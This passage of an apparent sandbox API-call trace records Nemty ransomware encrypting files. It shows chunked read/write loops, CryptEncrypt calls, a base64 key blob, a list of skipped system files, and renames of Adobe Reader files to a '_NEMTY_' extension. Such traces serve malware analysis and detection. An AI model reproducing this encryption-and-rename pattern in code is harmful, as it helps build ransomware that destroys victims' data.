lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.670] CloseHandle (hObject=0xffffffff) returned 0 [0208.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.670] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v._nemty_kgobjgd_")) returned 0 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.670] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0208.670] lstrcmpiW (lpString1="Identity-H", lpString2=".") returned 1 [0208.670] lstrcmpiW (lpString1="Identity-H", lpString2="..") returned 1 [0208.670] lstrcmpiW (lpString1="Identity-H", lpString2="...") returned 1 [0208.670] lstrcmpiW (lpString1="Identity-H", lpString2="windows") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="$RECYCLE.BIN") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="rsa") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="NTDETECT.COM") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="ntldr") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="MSDOS.SYS") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="IO.SYS") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="boot.ini") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="boot.ini") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="AUTOEXEC.BAT") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="ntuser.dat") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="desktop.ini") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="CONFIG.SYS") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="RECYCLER") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="BOOTSECT.BAK") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="bootmgr") returned 1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="programdata") returned -1 [0208.671] lstrcmpiW (lpString1="Identity-H", lpString2="appdata") returned 1 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-H", lpUsedDefaultChar=0x0) returned 10 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-H", lpUsedDefaultChar=0x0) returned 10 [0208.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-H", lpUsedDefaultChar=0x0) returned 10 [0208.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-H", lpUsedDefaultChar=0x0) returned 10 [0208.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.671] Sleep (dwMilliseconds=0x5) [0208.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30051cb0, dwHighDateTime=0x1d561e8)) [0208.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30051cb0, dwHighDateTime=0x1d561e8)) [0208.679] GetLastError () returned 0x5 [0208.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.679] GetLastError () returned 0x5 [0208.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.679] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0208.679] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="1g8ezixPi2jZPeOmw/zHvw2Mbo5tb4jclTU3C5OSRMWdUHurzBzc9w0ZRk7xalgB\r\nW2ARbV/6nz1LtT5ZNcScLdSkcv93o3VtgfDrup+X+mNFk+E/i30wY06k+KRY93+o\r\n5mS3CNusQuYLa0VOnc+TL0QPqTHmKv6G38uYusK2MfhdJTIvbLQ/N1TXoAu96uHa\r\nZux6eit10T2pqnITLmQYGQy3BXcgswDdu70Xy0vgi11xxAwXTZ45CmAtTHvdWJ2R\r\n4FSYHbh1DGBLPj4Zj0LGY/5crcyv2FZ9wNGqY4zw5gdAvy4I9ZC89wHrkXIoiJ2P\r\nzV/OYtzSqwuyaOmbmhK1xw==\r\n", pcchString=0x653e91c) returned 1 [0208.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0208.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0208.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0208.680] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.680] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 